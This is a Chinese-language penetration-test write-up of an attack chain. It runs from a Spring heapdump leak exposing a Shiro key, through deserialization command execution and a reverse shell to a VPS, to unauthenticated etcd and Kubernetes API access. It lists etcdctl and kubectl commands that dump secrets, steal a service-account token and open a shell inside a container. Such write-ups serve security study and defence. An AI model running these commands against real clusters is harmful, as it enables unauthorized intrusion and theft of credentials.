在信息收集阶段,发现目标系统可能存在安全隐患。该系统基于 Spring 框架构建,使用相关工具对其进行目录扫描后,确认系统存在 heapdump 信息泄露问题。

将 heapdump 文件下载并进行内存分析后,在其中发现了应用配置中使用的 Shiro Key 等敏感信息。

随后使用 Shiro 反序列化相关工具对获取到的 Key 进行验证,确认其有效并具备命令执行能力。在验证成功后,即可通过反序列化漏洞执行系统命令,进一步反弹 Shell 到自己的 VPS 上。取得初始权限后,可以搭建代理进入内网进行横向渗透。

从内网入口到Kubernetes集群控制
进入内网后,首先会对当前主机进行基础信息收集,包括查看网卡信息、用户权限以及运行的服务情况。同时尝试查阅配置文件,重点关注其中是否包含账号密码、API密钥等敏感信息。根据实际情况上传 fscan 等内网扫描工具进行探测。
在扫描过程中发现 C 段中的一个 IP 开放了 2379 和 6443 端口且存在未授权访问问题,这为直接获取 Kubernetes 集群控制权提供了可能。
第一步:枚举etcd中的Secret
etcdctl.exe --endpoints=目标 ip:2379 get / --prefix --keys-only | findstr secrets
此命令从 etcd 中列出所有配置项的键名,并筛选出与 secrets 相关的内容,用于快速判断是否存储了集群的敏感认证信息。

第二步:获取具体Secret的Token
etcdctl.exe --endpoints=目标 ip:2379 get /registry/secrets/base-service/backuprecovery-admin-token-zltg8
此命令连接目标 etcd 服务,读取指定路径下的 Secret 数据,其中通常包含 ServiceAccount 的访问 Token。

第三步:使用Token访问K8s API Server
kubectl.exe --insecure-skip-tls-verify -s https://目标 ip:6443/ --token="获取到的token" get pods,svc --all-namespaces -o wide
在获取 Token 后,使用 kubectl 跳过 TLS 校验,携带 Token 访问 Kubernetes API Server,成功列出所有命名空间下的 Pod 和 Service 信息,验证了 Token 的有效性和权限。

第四步:进入容器执行命令
kubectl.exe --insecure-skip-tls-verify -s https://目标ip:6443/ --token="获取到的token" exec -n base-service -it 服务name -- bash
在确认权限后,使用 kubectl exec 命令进入指定命名空间中目标服务的容器内部,获得交互式 Shell 权限。

通过上述攻击链,成功在多个 Kubernetes 集群中获取了容器执行权限,部分集群进一步实现了节点级控制。
|